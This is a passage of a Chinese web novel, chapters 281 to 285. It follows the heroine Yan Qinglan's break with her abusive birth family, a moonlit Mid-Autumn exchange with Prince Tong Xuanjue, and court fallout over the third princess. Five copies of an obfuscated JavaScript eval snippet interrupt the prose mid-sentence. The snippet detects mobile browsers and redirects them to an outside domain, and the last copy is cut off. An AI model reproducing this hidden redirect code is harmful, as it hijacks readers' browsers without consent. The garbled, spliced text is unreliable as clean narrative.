“母亲辛辛苦苦把你养大,你就是这么回报她的?你的良心被狗吃了吗!” 晏清澜看着她,笑了,笑得有些悲凉,又有些畅快, “养大?晏玥玥,你可真会往自己脸上贴金。” 她缓缓开口,声音里带着一丝不易察觉的颤抖, “我出生的时候,她恨不得让我去见阎王,是祖母,是祖母拼死把我救了下来!” “我在苏府那十一年,吃穿用度,全是祖母操持,跟她钱雅芝有什么关系?” 晏清澜的声音越来越冷, “至于你说的养育之恩,记忆里全是她对我拳打脚踢,把我摁在水里,恨不得我立刻就死!” 她深吸一口气,努力平复着情绪, “晏六姑娘,我再说一遍,别叫我姐姐,你不配!” “要不是我命大,被你们赶出家门后,还能遇到现在的爹娘和兄长,我早就跟苏府那些见不得光的庶出子女一样,**都没人知道!” 晏清澜说完,不再看庄家人一眼,转身拉着宋溪溪就走。 她不想再跟这群人纠缠,多说一个字,都让她觉得恶心。 至于那些所谓的亲情,所谓的颜面,她统统不稀罕。 第二百八十一章 她只想离这群人远远的,越远越好。 她身后的庄家人,脸色一个比一个难看。 晏雨珩张了张嘴,想说什么,最终还是闭上了嘴。 晏远舟紧握着拳头,指甲深深嵌入掌心,却感觉不到一丝疼痛。 他想为母亲辩解,却发现自己无话可说。 围观的百姓们议论纷纷,看着庄家人的眼神,充满了鄙夷和厌恶。 “这晏夫人也太狠毒了吧,对着自己的骨肉都能痛下狠手?” “可不是嘛,真是知人知面不知心啊!” “你们说,苏府那些早夭的庶出子女,会不会也跟她有关?” “谁知道呢,反正这庄家,看着就不是个干净地方。” 有人提到了晏清萦: “庄家五小姐也是庶出,她不是好好的?可见传言不可尽信。” 这人的声音不大,但周围的人都听见了。 一人嗤笑: “五小姐?女儿家罢了,能翻起什么浪?庄家要防的,是那些能和嫡子争家产的儿子!” “听说庄家大房,只剩了这么一个儿子?”另一人插话,语气中带着几分玩味。 “可不是嘛,不然你以为,晏远舟这个书呆子,怎么会突然就开窍了,要来考科举?” 这些话,一字不落地传进了庄家人的耳朵里。 钱雅芝只觉得胸口一阵闷痛,眼前发黑。 她指着晏清澜离开的方向,嘴唇颤抖着: “你……你……” “噗——” 一口鲜血喷出,钱雅芝身子一软,晕了过去。钱雅芝是死是活? 晏清澜并不关心。 此刻,月色正好。 她站在院中,手中把玩着一把剪刀,漫不经心地修剪着花枝。 今夜本无事。 可她心里却乱糟糟的,怎么也睡不着。 (死女人,口是心非。) (还不是因为小爷我?) “啪嗒——” 晏清澜手一抖,险些将一枝开得正好的花剪了下来。 她深吸一口气,强压下心中莫名的烦躁。 鼻尖萦绕着淡淡的橘子香气,若有若无。 浮萍居里,原本就种着两棵橘子树。 晏清澜住进来后,嫌挪树麻烦,就一直留着了。 时值中秋,橘子树上早已结满了沉甸甸的果实,青中泛着点黄。 再过些日子,应该就可以摘了。 月光如水,倾泻而下。 满地银霜。 橘影婆娑,在地上投下斑驳的光影,随着微风轻轻摇曳。 树下,有个人影晃动。 鬼鬼祟祟的,似乎在……摘橘子? 晏清澜缓缓转过身,眼神冷冽。 手里,还握着那把剪刀。 “童玄珏。” 她冷冷地开口: “大晚上的,你不在宫里待着,来我这凑什么热闹?” 童玄珏微微一怔。 他索性大大方方地从树后走了出来,手里还捏着一颗青橘。 嘴角噙着一抹若有似无的笑意。 “中秋节嘛,总得做点应景的事。” 他走到晏清澜面前,将手中的青橘抛了抛: “我记得,民间有偷瓜摘菜的习俗,对吧?” “可惜啊,在你这院子里转了一大圈,别说菜园子了,连根菜叶子都没瞧见。” 他语气中带着几分调侃,眼神却亮得惊人: “幸好这对橘树还在,今晚也算没白来。” 偷瓜摘菜? 晏清澜当然知道这个习俗。 早些年在临川,傅清霁就和她提过一嘴。 说是中秋之夜,有些地方的人会偷偷去别人家地里偷冬瓜、南瓜。 然后,在瓜上画个娃娃脸,送给那些还没生娃的人家,图个吉利。 至于摘菜嘛…… 晏清澜眼神微变。 她看向童玄珏,眼神有些微妙。 中秋摘菜,可不是随便摘的。 那是男人跑到心仪姑娘家的菜园子里,偷偷摘几片菜叶子。 一来是表达爱慕之情,二来也是期盼能早日娶到心上人。 这是民间才有的习俗。 可她这浮萍居里,哪来的菜园子? 童玄珏这厮,竟然把主意打到橘子树上来了。 晏清澜还真没想到,他会信这些。 她随手将剪刀搁在一旁石桌上,目光落在童玄珏身上。 “你不是最不信这些的吗?” 她记得分明。 童玄珏这人,向来不信鬼神,也不信报应。 更别提什么节日习俗了,就没见他守过规矩。 今天这是怎么了? 大半夜不睡觉,跑来她这里玩什么民间习俗? 没菜给他摘,就摘她还没熟的橘子? 童玄珏微微耸肩,一脸坦然: “以前嘛,确实不信。” 他顿了顿,目光灼灼地看着晏清澜: “但现在,信了。” 换做平时,晏清澜早一个白眼翻过去了。 可现在,她只是静静地看着他,眼神冷漠,如同天上的寒月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465001|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 童玄珏是什么人? 晏清澜那点情绪变化,怎么可能瞒得过他? 他往前走了几步,来到晏清澜面前。 今夜,他脸上干干净净的,没戴面具。 “怎么了?” 他轻声问,语气中带着一丝不易察觉的关切。 晏清澜微微蹙眉,淡淡道: “没事。” 她顿了顿,语气突然一转: “你不是已经决定好了吗?” “怎么还来找我?” 童玄珏一愣,眉头紧锁: “决定什么?你在说什么?” “你是不是……误会了什么?” 他想要的,从来都很明确。 而她,也应该很清楚。 她突然这么问,肯定有什么事瞒着他。 而且,是很重要的事情。 “误会?” 晏清澜冷笑一声。 她向来不喜欢拐弯抹角。 有话就直说,猜来猜去的,没意思。 月光下,她的脸色有些清冷。 “今天,我看到你和舒临风在一起了。” 她声音很轻,却很清晰: “如果我没猜错,你当时,应该也看到我了。” 童玄珏脸色微变。 他刚想开口解释,却被晏清澜打断: “你什么都没说,转身就走了。” 晏清澜看着他,眼神平静得可怕: “那一刻,我还以为,你已经做出了选择。” 月光,将她的脸色照得忽明忽暗,就像她此刻的心情,起伏不定。 其实,童玄珏选不选择,选谁,对她来说,并不重要。 她早就习惯了尔虞我诈,见惯了人性的丑恶。 她从不相信,这世上有什么天长地久。 更不认为,有所谓的永恒的爱意。 所以,童玄珏是坚持还是放弃,对她而言,没什么区别。 早有预料的事情,有啥好惊讶的? 可她没想到的是—— 童玄珏竟然将一个面人,连同一个青涩的橘子,硬是塞给了她。 她下意识地接住。 却差点没拿稳,让橘子滚落在地。 好在,童玄珏眼疾手快,一把捞住了。 晏清澜只得将手中的东西紧紧握住。 “看看。” 童玄珏凝视着她的侧脸,轻声说道,声音中带着一丝浅浅的笑意。 月光下的美人,比月色更皎洁。 晏清澜这才低头,看向手中的面人。 第二百八十二章 这一看,她愣住了。 这面人…… 简直跟她长得一模一样。 是她女扮男装时的模样。 或许别人认不出来,但她自己,一眼就能认出来。 晏清澜的心湖,泛起一丝涟漪。 “我想要什么,从来都很清楚。” 童玄珏缓缓开口,声音低沉而坚定: “今天的事,是个误会。” “我没有你想的那些乱七八糟的心思,你别误会。” “我之所以离开……” 他顿了顿,似乎有些难以启齿: “是因为,我觉得,中秋节,不能空着手来见你。” 舒临风之前提过一嘴,说要准备些小礼物。 他当时听了,并没放在心上。 在他看来,感情这东西,不是几件小玩意儿就能衡量的。 谁会因为一点小恩小惠就动心呢? 直到他看到,宋溪溪手里提着一盏漂亮的金凤灯。 而晏清澜,却两手空空。 **宋溪溪的灯是怎么来的。 估计是她自掏腰包。 也许是别人送的。 总之,那一刻,晏清澜什么也没有。 童玄珏忽然意识到,舒临风说的,或许是对的。 没人会稀罕那些小玩意。 也没人会因为小恩小惠就改变心意。 但是,有没有这份心思,却是两码事。 童玄珏看着晏清澜,眼神中带着一丝无奈,也带着一丝笑意: “那件披风,还有给韩清韵的木雕,原本都是给你的。” “可谁让你大哥突然搅和进来,我只能先给她了。” 他语气有些急促地解释: “其他的东西,我都放在你房间的窗台上了。” “你房间一片漆黑,我懂你已离开,就没进去。” “但这个面人……” 他顿了顿,目光灼灼地看着晏清澜: “我必须,亲手交给你。” 因为,这个面人,不一样。 晏清澜笑了。 她轻轻扬起唇角。 月色下,素来冷若冰霜的女子,此刻眉眼弯弯,笑靥如花。 “是吗?” 她晃了晃手中的面人,挑眉问道: “所以……” “童玄珏,你该不会想告诉我,这一定是你亲自动手吧?”“嗯,这是我亲手整的。” 童玄珏应声,嗓音低沉,带着几分不易察觉的温柔。 他想起很久以前,自己也曾有过一个温暖的家。 那时他还小,父亲会把他抱在膝头,手把手地教他捏面人。 澜王府里有个红木箱子,里面装满了各式各样的面人,都是父亲教他捏的。 听父亲身边的忠叔说,父亲在成亲前,就经常去汴京城最好的面人摊子那儿学手艺。 父亲学东西不得要领,唯独捏起母亲的小像来,格外像。 小时候的童玄珏总是不爱学,觉得这玩意儿不够威风。 可没过一年,母亲就因病去世了。 又过一年,父亲为救圣上,也丢了性命。 后来,他被接进宫,住进了空荡荡的宫殿。 一场大火,烧毁了他住的地方,却没能要了他的命,反而让他背上了凶残暴戾的名声。 童玄珏已经记不清自己多久没捏过面人了。 今儿中秋,他在夜市上看到那些手艺人,这才想起,自己原来也会这门手艺。 他垂眸,看着眼前的姑娘。 月光下,眼前的姑娘乌发如墨,肌肤胜雪,那双眸子,亮得惊人。 童玄珏唇角微勾,声音放轻了些: “头一回送姑娘家面人,手艺生疏了,晏四姑娘多担待。” 他顿了顿,语气中带着期待。 “往后……我一定能越来越强。” 晏清澜盯着手里的面人,忽地笑了。 她眉梢轻轻一挑,抬眸,视线撞进那双灼热的眸子里。 “要我是买面人的,你这手艺,我定要掀了你的摊子,叫你赔钱。” 清越的声音,像山间清冽的泉水。 月华如练。 晏清澜眨了眨眼,唇边笑意更深,那双眼弯成了月牙儿。 “可我是收你礼的姑娘家——” 她微微歪头,眼波流转。 “燕王殿下这手艺,虽说**糙了点,可我很是喜欢。” 童玄珏心头一热,像是有一团火,从胸腔里烧起来。 他眉眼舒展,唇角的弧度再也压不住。 今年的中秋,总算跟往年不一样了,不再冷清。 他声音低哑。 “你喜欢就好。” 晏清澜晃了晃指尖的青桔,语气无奈。 “你摘了它,又不能吃,不是浪费么。” 这会儿的橘子,酸得很,根本没法入口。 童玄珏从她手里拿过那颗青桔。 “谁说不能吃?” 他随手剥开一个,递到晏清澜嘴边。 “尝尝。” 晏清澜本想拒绝,可见他一脸坚持, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465002|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只好张口咬了一小口。 酸涩的汁水瞬间在口中爆开,晏清澜的五官都皱在了一起。 童玄珏看着她,笑意更浓。 他自己也剥了一瓣,放进嘴里,面不改色。 “我不爱吃太甜的,这酸味正好。” 晏清澜见他吃得津津有味,心里暗自佩服。 真是条汉子。 她正想着,童玄珏却突然伸手,捏住了她的下巴。 晏清澜一愣,还没反应过来,童玄珏已经将一瓣橘子塞进了她嘴里。 “唔……” 晏清澜猝不及防,被酸得眼泪都快出来了。 她瞪了童玄珏一眼,却见他一脸得意。 晏清澜气恼,伸手就要去掐他。 童玄珏笑着躲开。 两人在屋顶上追逐打闹,银铃般的笑声,洒落在寂静的夜里。 最后,晏清澜跑不动了,索性在屋顶上躺了下来。 童玄珏在她身边坐下,两人并肩靠在一起,望着天上的月亮。 身旁,搁着一坛桂花酿,几碟小菜。 院子里的桂花开得正好,香气随着夜风一阵阵飘过来。 晏清澜端起酒杯,轻轻抿了一口。 她侧头,看着身旁的少年郎。 “今儿是中秋,我敬这月亮一杯,祝你往后每一日,都顺遂平安。” “童玄珏,中秋安好。” 童玄珏举起酒杯,和她的杯子轻轻一碰。 “嗯。” 他看着她,没看月亮。 “愿我所求,终能得偿。” 世事无常,可他只盼着,今年能有个圆满。 晏清澜唇角微扬。 “会的,只要你不半途而废,定能如愿。” 她像是想起什么,又喝了一口酒。 “童玄珏,以后你再见着我,别空着手就转身走。” “我想见的,从来不是你手里有多少东西,而是你……” 她顿了顿,语气坚定。 “我要你,头也不回地奔向我。” 她知道自己这话,说得自私。 她自己顾虑重重,却要求童玄珏毫无保留。 这不公平,可她就是这么想的。 晚风拂过,吹起她耳边的碎发。 童玄珏饮尽杯中酒,笑了。 “好,往后每一次,我只要瞧见你,定会立刻奔向你。” 他顿了顿,目光落在她身上。 “不过,你也得应我一件事。” 晏清澜转头看他,那双眸子,亮若星辰。 第二百八十三章 “何事?” 童玄珏替她拂去肩头的落叶。 月光下,他望着那棵挂满青色果实的橘子树。 “这汴京的花儿开得好,人也生得俊俏。” 他声音低沉。 “晏清澜,你还没给我答复之前,不许跟旁人有牵扯。” “我不喜欢我的东西,被别人惦记。” 晏清澜听了这话,忍不住笑了出来。 她摇了摇头。 “繁花似锦晃花眼,可我不爱赏花。” “旁人如何,与我无关。” 童玄珏挑眉。 “那要是……别的呢?” 晏清澜仰头,望着天上的月亮,又整了一杯小酒。 “都不喜欢。你放心,我不会被任何人勾了去。” 她语气认真。 “我清楚自己要什么,你也一样。”童玄珏的唇角微微上扬,勾勒出一抹若有似无的笑意。 他的眼底闪烁着点点星光,像是夜空中最明亮的星辰坠落其中。 有多久了……他已经记不清自己有多久没有像今夜这般,与人把酒言欢,共赏这中秋的月色了。 或许,他所期盼的,还遥不可及, 但至少,此时此刻,不会再有人能将她从他身边带走。 想到这里,他微微侧过头,目光温柔地落在身旁的晏清澜身上, 将另一个消息缓缓道来: “今夜,韩清韵私自出宫一事,已经传到他耳朵里了。” 晏清澜自然明白,童玄珏口中的“他”,指的便是那位高居九重之上的景元帝。 对此,她并无半分惊讶。 毕竟,花灯宴上发生的一切,早已如长了翅膀般,传遍了京城的大街小巷。 晏玥玥当众揭穿韩清韵的身份,言语间更是毫不留情,直指她与宋明澜之间不清不楚。 若非童玄珏暗中相助,恐怕早已掀起轩然大波,更别提她见势头不对,索性将计就计,把庄家那点破事也抖落出来,总算把众人的注意力转移了几分。 事情闹到这个地步,就算没到人尽皆知的地步,两人的名声也算是毁誉参半。 可若说景元帝对此全然不知,那简直是痴人说梦。 晏清澜缓缓挺直了腰背,神情也变得严肃起来: “那……陛下准备怎么解决这个问题?” 童玄珏轻轻一笑,只是那笑容里,夹杂着几分说不清道不明的意味。 像是嘲讽,又像是……意料之中。 “龙颜震怒,”他缓缓开口,声音里透着几分冷冽,“已经下令将韩清韵禁足宫中。” 他顿了顿,语气中多了几分无奈, “若韩清韵是先皇后所出,或许皇上还会对她网开一面。只可惜……她并非嫡出。” “她与韩瑾,虽都占着一个‘嫡’字,正统和冒牌货完全不是一个level,个中滋味,天差地别。” 童玄珏的声音低沉了下去,话语中带着几分不易察觉的惋惜。 如今,景元帝膝下,尚在人世的公主,唯有韩清韵一人。 其他的,不是刚出生便夭折,便是因生母牵涉进当年谋害先皇后的案子中,被迁怒,连带着孩子也一同被厌弃。 失了母族庇佑,又不得圣宠,身旁再无可以依靠之人…… 这样的公主,在这深宫之中,便如无根的浮萍,凋零不过是迟早的事。 即便有些公主,有幸得到生母的庇护,又得景元帝几分宠爱,却也难逃命运的捉弄,险些丧命。 他记得,韩清韵九岁那年,便曾遭遇一场大难,险些一命呜呼。 幸得有人舍命相救,才得以保全性命,否则,这世间早已没了三公主这个人。 景元帝对韩清韵,自然是疼爱的。毕竟,他膝下皇子虽多,却只有这么一个女儿。 但这并不意味着,韩清韵可以恃宠而骄,为所欲为。 身为大昌的公主,竟在中秋之夜私自离宫,还与一名男子纠缠不清,甚至被当众认出…… 这等有损皇家颜面的事情,景元帝又怎能容忍? 晏清澜的眉头紧锁,形成一个浅浅的“川”字。 客观来说,三公主韩清韵并非大奸大恶之辈,相反,她心地善良,甚至可以说得上是一位难得的好姑娘。 但她并没有忘记,在原著中,这位公主最后混得很惨。 三公主最终被远嫁,离开了这繁华的京城。而她的驸马,却是一个沉迷酒色的无耻之徒,稍有不悦,便会对她拳打脚踢。 驸马流连于烟花之地,对三公主不管不顾,二人虽有夫妻之名,却无夫妻之实。 远嫁的公主,纵然身份再尊贵,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468237|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终究是孤身一人,受了委屈,也无处诉说。 后来,三公主郁郁寡欢,身染重病,不久便香消玉殒。 而那时,京城早已是风起云涌,朝堂之上,各方势力明争暗斗, 皇子们为了争夺储君之位,不惜手足相残;后宫之中,妃嫔们为了争夺圣宠,更是用尽心机。 大昌皇室,便如同一张绷紧到了极点的弓,随时都有可能断裂。 在这样的乱世之中,三公主的离世,就如同一片落叶飘入水中,激不起半点涟漪。 她缓缓放下手中的酒杯,指尖轻轻摩挲着杯壁,转头看向童玄珏: “那……三公主她,日后将会如何?” 出了这样的事情,只怕这位公主的命运,会比原著中更加坎坷。 童玄珏抬起头,望着天边那轮皎洁的明月,语气平静: “我也不知。或许……对她而言,最好的结局,莫过于嫁给宋明澜。” “大昌并无驸马不得参政的规矩,宋明澜若是娶了三公主,依然可以驰骋沙场,建功立业。” 他略微停顿了一下,似乎是在斟酌用词, “只是……宋明澜是否愿意尚且不说,皇上……也未必会为了一个庶出的女儿,牺牲一位能征善战的将军的前程。更何况……如今朝中局势,稍有差池,便会满盘皆输。” 说到此处,童玄珏的语气变得复杂起来, “身为帝王,他或许合格,但若要论及一位长辈……” 话到此处,他没有继续说下去。 或许,在世人眼中,他还是一位称职的舅舅。 毕竟,在外人看来,他这个燕王,残暴不仁,恶贯满盈, 可景元帝却始终没有降罪于他,反而看在已故长公主的情面上,对他百般纵容。 这,足以称得上是一位仁至义尽的好舅舅了。 每次听见这些八卦,童玄珏总是嗤之以鼻,不置可否。 景元帝待他,确实不薄,也曾竭尽全力地护他周全。 可那又如何呢? 他的父亲,他的母亲,不正是因他那位“好舅舅”而死的吗? 想到这里,童玄珏垂下眼帘,遮掩住眼底一闪而逝的痛苦与恨意。 晏清澜沉默不语,她虽同情三公主的遭遇,却也明白,自己不能因此去干涉宋明澜的决定。 第二百八十四章 两情相悦之事,最是强求不得,她不会插手其中。 宋明澜向来聪慧过人,自然能想明白这其中的利害关系。若他有意迎娶三公主,定会主动向家中长辈提及。 若他无意,那她说再多也是徒劳。 —— 正如晏清澜所料,她对宋明澜的了解,可谓是入木三分。 此时此刻,韩府正厅之中,灯火通明,亮如白昼。 宋明澜静静地站在厉宗玉和傅清霁面前,烛光映照在他那张年轻而英俊的脸上, 他神色肃穆,目光坚定,没有丝毫的玩笑之意。 “爹,娘,孩儿想迎娶三公主为妻。” “咳咳……”厉宗玉和傅清霁皆是一惊,险些将刚喝进嘴里的茶水喷出来。 傅清霁更是直接瞪大了眼睛,满脸的难以置信,仿佛听到了什么天方夜谭一般: “你……你再说一遍?!” 就连一向以沉稳著称的镇国大将军厉宗玉,也险些失手打翻了手中的茶杯, 他抬起头,目光如炬,紧紧地盯着自己的儿子,眼神中充满了震惊与疑惑。 宋明澜深吸了一口气,努力平复着内心的情绪,将今夜在花灯宴上发生的事情,一五一十地向父母讲述了一遍。 末了,他紧紧地皱起眉头,语气中满是自责: “此事,皆因孩儿思虑不周,才连累了三公主。身为男儿,我不能对此置若罔闻。” 宋明澜顿了顿,继续说道: “我虽出身行伍,觉得自己配不上这位天命贵女,但此事因我而起,我便不能袖手旁观。流言可畏,三人成虎,更何况……这次的事,本就不是空穴来风。我不能眼睁睁看着三公主,因为我,而陷入流言蜚语的漩涡,更不能让旁人,因为今日之事,而对她指指点点。” “至于我自己,我既然决定承担这份责任,便不会在意那些流言蜚语。” 厉宗玉静静地看着儿子,脸色逐渐变得凝重起来, 良久,他才缓缓叹了口气,沉声道: “明澜,此事……确实是你欠缺考虑。三公主贪玩,私自离宫,固然有错在先,但年轻姑娘家,爱玩闹一些,本也无可厚非。” 他顿了顿,语气缓和了一些, “你看看溪溪和阿清,她们两个,哪个又是省油的灯?” “为父虽不反对你娶三公主,但……皇上未必会应允这门亲事。如今朝中局势复杂,稍有不慎,便会牵一发而动全身,皇上行事,定然会更加谨慎。” 傅清霁也轻轻抿了一口茶,平复了一下心绪, 她抬起头,看着儿子,语气严肃: “明澜,你要娶三公主,娘并不反对。但陆家的家训,你须得牢记于心。” “你既是因责任而娶她,便要真心待她,护她周全,绝不可再做出纳妾**、拈花惹草的糊涂事来,伤她的心。” “她今日因你而受此委屈,你要是敢欺负她一根寒毛,就算你是我亲儿也别想,我也绝不轻饶,定要打断你的腿!”“娘,您这说的都哪儿跟哪儿啊?” 宋明澜一听这话,额角青筋都跳了跳。他何时做过纳妾**的事了?还“再”不许? 他有些无奈地揉了揉眉心,试图解释。 傅清霁却压根不听,只顾着自己说,凤眼一瞪: “这事你给我记牢了,往后成了家立了业,再敢在外头胡来,仔细你的皮!” “当丈夫的,就得有个丈夫的样子,不能欺负媳妇儿,知道不?” 厉宗玉在一旁听着,深以为然地点头。捋了捋胡须,也加入了“教育”儿子的行列。 他看向宋明澜,目光陡然变得严肃: “你给我听好了,成了婚,必须明白肩上的担当!别整日里在外头装得人五人六的,回了家就对媳妇儿横挑鼻子竖挑眼。” 厉宗玉说着,还气哼哼地加了一句: “这种两面三刀的人,不是棒槌是什么?” 宋明澜听着爹娘你一言我一语的“谆谆教诲”,哭笑不得。但他也明白这是长辈的关心,眼神清澈,缓缓点头,郑重地应了下来。 …… 红墙绿瓦,一眼望不到尽头。 长乐宫内,沉闷的气氛几乎要凝结成霜。 皇后卸了头上的珠翠,青丝如瀑般披散在肩头,跪在冰冷的金砖上,身形单薄。 她眼眶泛红,面上却强作镇定,仿佛早已将生死置之度外,只是身子微微有些发颤。 她就这么静静地望着面前的男人,目光中带着一丝倔强。 景元帝手中拿着奏章,目光却落在虚空,不知在想些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468238|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 时间一分一秒地过去,殿内静得连呼吸声都清晰可闻。 皇后已记不清跪了几个时辰,只觉得膝盖早已疼得麻木,可龙椅上的那人却始终没有任何反应,似乎根本没有注意到她的存在。 景元帝不开口,皇后也不出声,只是沉默地跪着,脊背挺得笔直,无声地表达着自己的**。 两人之间,仿佛进行着一场无声的较量,看谁先低头。 不知过了多久,殿外忽然传来一阵淅淅沥沥的雨声,打破了殿内的死寂。 景元帝的目光终于从虚无中收回,落在了皇后的身上,眼神依旧淡漠。 他轻轻地叹了口气,声音里带着一丝疲惫: “皇后,你跟在朕身边这么多年,难道还不明白朕的心思吗?” “你向来聪慧,做事也最是稳妥,从不让朕操心。可是这一次,你太让朕失望了。” 皇后缓缓抬起头,眼角已经有了细纹,声音里带着一丝沙哑: “臣妾知道皇上的心思,可是……清韵她还是个孩子。” 她一直谨记着自己的身份,小心翼翼地扮演着一个好皇后的角色。 为了避免后宫争端,她甚至放弃了生育皇子的机会。 可清韵不一样,她是个女孩儿,是她身上掉下来的一块肉。 她没有别的奢望,只希望自己的女儿能够平安快乐,找到一个真心疼爱她的如意郎君,平平淡淡度此生。 景元帝的眉头微微皱起,语气中带着一丝不悦: “正因为她是朕的女儿,大昌的公主,才更应该以身作则,为天下女子做出表率。” 他顿了顿,声音变得更加严厉: “她身为公主,却在中秋夜私自出宫,与男子拉拉扯扯,成何体统?” 皇后轻阖双眸,深吸了一口气,努力平复着自己的情绪。 她知道,景元帝说的都是事实。 可是,作为一个母亲,她无法眼睁睁地看着自己的女儿受苦,却什么也不做。 景元帝虽然疼爱韩清韵,可在他心里,江山社稷永远是第一位的。 与那些战功赫赫的武将相比,韩清韵的分量,终究还是太轻了…… 皇后只觉得膝盖处传来一阵阵钻心的疼痛,寒意从脚底一直蔓延到全身。 第二百八十五章 外头的雨声越来越大,一声声敲打在她的心上,让她感到窒息。 这雨,仿佛是上天在替她哭泣。 她看向景元帝,发现他的鬓角已经染上了霜色,岁月的痕迹再也无法掩盖。 他不再是当年那个意气风发的少年天子,可骨子里的冷漠和决绝,却从未改变。 皇后看着他,心中百感交集。 良久,她缓缓俯下身,额头重重地磕在冰冷的地面上: “先皇后临终前,曾将阿玥托付给臣妾,让臣妾代为照顾。这些年,臣妾自问没有辜负先皇后的嘱托。” “臣妾今日斗胆,恳请皇上看在先皇后的情面上,饶过清韵这一回吧!” 皇后顿了顿,声音哽咽: “如果清韵是先皇后的女儿,您……还会这样对她吗?” 她的话,像一把尖刀,狠狠地刺进了景元帝的心里。 景元帝的眼中闪过一丝复杂的情绪,有追忆,有愧疚,也有愤怒。 他猛地将手中的奏章摔在桌案上,声音冰冷得没有一丝温度: “何玥,你放肆!” 他放肆地喊出皇后闺名,语气中带着毫不掩饰的怒意。 曾经那个隐忍不发的少年皇帝,如今虽然两鬓斑白,但帝王的威严却丝毫不减当年。 仅仅一句话,就足以让人心惊胆战,不敢再多言。 皇后缓缓低下头,不再为韩清韵辩解,只是轻声说道: “臣妾……知罪。” 她颤抖着双手撑着地面,缓缓站起身,每一步都走得异常艰难。 打开长乐宫沉重的大门,一阵夹杂着雨丝的冷风扑面而来,吹得她一个趔趄,险些摔倒。 泪水再也控制不住,顺着脸颊滑落。 等候在外的两个大宫女见状,连忙上前搀扶住她: “娘娘,您这是怎么了?没事吧?” 何皇后轻摇螓首,声音嘶哑得几乎听不清: “没事……咱们,回宫吧……” 她来的时候,一心只想着为女儿求情,连伞都忘了带。 如今宫女手中撑着的,还是临时从长乐宫借来的。 一行人就这样冒着风雨,跌跌撞撞地回到了长乐宫。 皇后的裙摆湿了大半,沾上了泥水和草叶,狼狈不堪。 长乐宫内,八皇子韩瑾正坐在窗边,借着微弱的烛光读书。 听到动静,他连忙放下手中的书卷,跑到皇后身边,关切地问道: “母后,您回来了?怎么淋成这样?快,快让嬷嬷给您换身干爽的衣裳!” 他一边说着,一边从袖中掏出一个小巧精致的暖手炉,塞进皇后的手中。 皇后看着眼前这个懂事的小人儿,心中一阵酸楚。 她接过暖手炉,紧紧地握在手中,仿佛这是她唯一的依靠。 她轻轻地叹了口气,强颜欢笑: “阿玥,母后没事。你皇姐呢?她怎么样了?” 韩瑾连忙说道: “母后放心,皇姐没事。儿臣去看过她了,还让人给她送去了好多东西呢!” 他眨了眨眼睛,神秘兮兮地凑到皇后耳边,压低了声音: “儿臣给皇姐送了她最爱吃的桂花糕、蜜饯果子,还有暖和的狐裘、软软的被褥,对了,还有这个!” 韩瑾献宝似的从怀里掏出一个小小的香囊,上面绣着精致的兰花图案。 “这是儿臣亲手做的安神香,里面放了凝神静气的药材,皇姐闻了,晚上一定能睡个好觉!” 皇后看着手中的香囊,眼眶再次湿润。 她摸了摸韩瑾的头,声音哽咽: “阿玥真是个好孩子,比母后强多了……” 韩瑾仰起小脸,认真地说道: “母后别担心,儿臣觉得,陆小将军不会不管皇姐的。” 他回忆了一下在宫宴上见过的宋明澜。 “陆小将军靠谱得很。儿臣虽然跟他不熟,但上次宫宴,他替皇姐挡酒,眼睛都不眨一下!” “他一定不会让皇姐受委屈的,儿臣相信他!” 皇后愣了一下,她没想到,韩瑾竟然会对宋明澜有这么高的评价。 这些年为韩清韵挑选驸马,她不是没想过宋明澜。只是碍于皇帝的心思,她才不敢将宋明澜列为候选。 宋明澜英武不凡,才华出众,在京城贵女中颇有人气,但皇后与他接触不多,对他秉性如何,也无法断言。 皇后轻轻叹了口气,她宁愿相信这只是孩子间的直觉。 她勉强笑了笑,柔声问: “阿玥,你为什么觉得,明天去向你父皇求情会更好呢?” 她心里清楚,这几乎是不可能的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 